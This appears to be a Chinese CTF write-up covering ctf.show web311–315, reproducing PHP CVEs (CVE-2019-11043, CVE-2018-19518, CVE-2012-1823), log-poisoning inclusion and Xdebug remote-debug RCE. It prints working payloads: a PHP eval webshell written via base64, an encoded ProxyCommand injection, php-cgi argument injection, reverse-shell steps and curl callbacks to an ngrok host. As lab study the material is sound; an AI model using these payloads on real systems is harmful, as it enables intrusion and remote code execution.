phpCVE
web311
有点熟悉
提示cve,先查看下版本
X-Powered-By:PHP/7.1.33dev这个是告知网站是用何种语言或者框架编写的,可以在php.ini中增加或者修改expose_php=off进行关闭
那么这里就需要去寻找这个版本的php漏洞了
搜到一个
CVE-2019-11043复现与学习
CVE2019-11043是一个远程代码执行漏洞,使用某些特定的Nginx+PHP-FPM的服务器存在漏洞,可以远程代码执行
向Nginx+PHP-FPM的服务器URL发送%0a时,服务器返回异常,该漏洞需要在nginx.conf中进行特定配置才能出发
location ~ [^/]\.php(/|$) { |
PHP的很多框架里面都是通过获取$_SERVER[‘PATH_INFO’]处理路由,这个变量是通过nginx传递过来的,我们在nginx中经常见到
fastcgi_split_path_info ^(.+\.php)(/.*)$; |
nginx默认获取不到PATH_INFO的值,得通过fastcgi_split_path_info指定的正则表达式来获取值,^(.+.php)(/.*)$;增正则表达式有两个括号,也就是有两个捕获,第二个捕获到的值会自动重新赋值给$fastcgi_path_info变量,第一个捕获到的值会重新赋值给$fastcgi_script_name变量.
如果访问.index.php/test,第二个捕获的是/test $fastcgi_path_info就是/test,因此就会把/test传递给php的$SERVER[‘PATH_INFO’]
回到本题,这里可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp.Regexp被破坏导致PATH_INFO为空,从而触发该漏洞
开启docker环境
docker-compose up -d |
访问成功,利用 先安装go环境
sudo apt install golang #安装go语言 |
利用
自己读一下显示信息就可以发现传a参数
这里本地就复现成功了,但是没有反弹shell,这里才测试一下
远程有点慢,多等等
反弹shell
这里面没有nc的命令.所以不能用nc的反弹shell
给此docker容器装一个nc
环境有两个 docker 镜像,一个是nginx,一个是 php
进入nginx的容器
装好了
远程执行nc 本地监听端口
执行之后发现并没有成功
接着在php镜像里面再次尝试
发现成功了
反弹shell试试
web312
先给一个正确的服务器地址 返回了php版本
php=5.6.38
错误的返回了nginx/1.21.1版本
百度这个版本搜到了这
CVE-2018-19518复现与学习
本地起一下环境,正确的长这样
firefox访问上一个环境有缓存了
对自己想要发的内容进行一次base64编码
<?php @eval($_POST[zf]);?> |
PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4= |
将文件写入zf.php
echo "PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4="|base64 -d >/var/www/html/zf.php |
然后对这个在进行base64编码
ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNwbVhTazdQejQ9InxiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvemYucGhw |
如果进行base64编码后,含有+=,都要进行url编码即%2b %3d,所以为了不出错,最好在对得到的base64编码后的字符进行url编码
ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNwbVhTazdQejQ9InxiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvemYucGhw |
然后将hostname换成x+-oProxyCommand%3decho%09[编码后内容]|base64%09-d|sh}
x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNwbVhTazdQejQ9InxiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvemYucGhw|base64%09-d|sh} |
web313
搜到一个cve-2012-1823
简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。
启动下靶场
?-s直接显示源码
还可以通过-d指定auto_prepend_file来制造任意文件包含漏洞
?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input |
web314
|
?f=/var/log/nginx/access.log |
日志包含,修改ua
写一句话,直接蚁剑连了
当然也可以session条件竞争,不过没到点不让玩
web315
xdebug是php的一个扩展,用于调试php代码,如果目标开启了远程调试模式,并设置remote_connect_bask=1
xdebug.remote_connect_back = 1 |
xdebug.remote_connect_back
的回连是通过自定义 Header(xdebug.remote_addr_header
)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。
本地测试一下
是一个phpinfo页面
先监听一个9000端口,在访问页面,如果有反应就存在.就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back
curl 'http://192.168.5.149:8080/index.php?XDEBUG_SESSION_START=phpstorm' -H "X-Forwarded:192.168.5.139" |
利用脚本
#!/usr/bin/env python3 |
python py2.py -t http://192.168.5.149:8080/index.php -c "shell_exec('id');" |
因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。 |
远程
python e.py -t http://f5720fbb-d704-4892-b328-63480e7341bc.challenge.ctf.show/index.php -c "shell_exec('id');" |
curl 'http://9def021a-8a10-4b73-a5e3-0b2d9a9f80d0.challenge.ctf.show/index.php?XDEBUG_SESSION_START=phpstorm' -H "X-Forwarded:https://c368-112-38-217-12.ngrok.io" |
python exp.py -t http://49.235.148.38:28100/index.php -c "shell_exec('id');" |